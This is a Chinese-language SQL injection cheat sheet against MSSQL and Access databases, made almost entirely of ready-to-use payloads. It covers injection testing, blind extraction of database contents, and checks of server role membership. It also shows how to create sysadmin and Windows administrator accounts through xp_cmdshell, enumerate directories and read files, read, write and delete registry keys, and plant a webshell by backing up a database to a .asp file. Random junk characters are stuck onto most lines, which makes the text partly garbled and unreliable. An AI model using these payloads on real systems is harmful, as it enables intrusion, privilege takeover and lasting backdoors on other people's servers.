1.判断是否有注入;and 1=1 ;and 1=2 POZ5W)F(
2.初步判断是否是mssql ;and user>0 jS_fwuM
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3.注入参数是字符'and [查询条件] and ''=' bU3e*Er
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' G:u-C<^'
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5.判断数据库系统 /E(319u_
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;and (select count(*) from sysobjects)>0 mssql 2QUZBrs s
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;and (select count(*) from msysobjects)>0 access q#}#A@Rg
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 km%c0:
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 k)'y;{IN
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 960[.99
n+ot. -
9.(1)猜字段的ascii值(access) rt5FecX\
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 qM~;Q6{v
+>v3&[lGv
(2)猜字段的ascii值(mssql) U^AywE]
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 4F WL\;6
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10.测试权限结构(mssql) m{dXN=
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?p&CR[
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- nTy8:k ']
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- A }(V2
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- S-^:p5{r
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- DQ#rZi3I
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- q?&Ap*
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;and 1=(select IS_MEMBER('db_owner'));-- t[dOWgHi
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11.添加mssql和系统的帐户 { :^;byd
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;exec master.dbo.sp_addlogin username;-- R]LRgfi9
;exec master.dbo.sp_password null,username,password;-- 5ov F$qn
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- N9SC\
6}(;~/L
;exec master.dbo.xp_cmdshell 'net user username password V8C62X
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9)y7K%b0
){D6E9
;exec master.dbo.xp_cmdshell 'net user username password /add';-- JY5)^<.d
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- xJ&E2Bf
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12.(1)遍历目录 C>}@"eK
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;create table dirs(paths varchar(100), id int) z(o zMH
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;insert dirs exec master.dbo.xp_dirtree 'c:\' t9QnEP'
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;and (select top 1 paths from dirs)>0 80'!XKSP
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) KxA^?,t[
5 R*
>'/KOK"
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(2)遍历目录 nq/SGo[c
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- L
`\>_
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 (yr<B_Y'MY
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 y
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 -;1nv:7Z3
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13.mssql中的存储过程 X2[d15!9
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xp_regenumvalues 注册表根键, 子键 i".nnAI:
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [& d"Z2gK
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xp_regread 根键,子键,键值名 \>G :mMk/
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;exec xp_regread U!TSAg21P
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 R(1N]>
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xp_regwrite 根键,子键, 值名, 值类型, 值 `mt x+C
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;_nV*G.y#^
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L>ruNw'-K
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xp_regdeletevalue 根键,子键,值名 <@](uWu
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 o4U[;.?c
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 R'z
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14.mssql的backup创建webshell 5*#3v:l/9
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use model 4iPxtVT
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create table cmd(str image);
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insert into cmd(str) values (''); 37U2Tb!y'
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backup database model to disk='c:\l.asp'; gP^p7aYwn
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15.mssql内置函数 .B? J@,
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;and (select @@version)>0 获得Windows的版本号 9^zA(
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa r.vezsH
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;and (select user_name())>0 爆当前系统的连接用户 d^:(-2l-
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;and (select db_name())>0 得到当前连接的数据库 a{y"vVQOF
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16.简洁的webshell W*!u_]K>
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use model \)/dFo\l
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create table cmd(str image); M!#[(:
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insert into cmd(str) values (''); IV]2#;OO?
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backup database model to disk='g:\wwwtest\l.asp';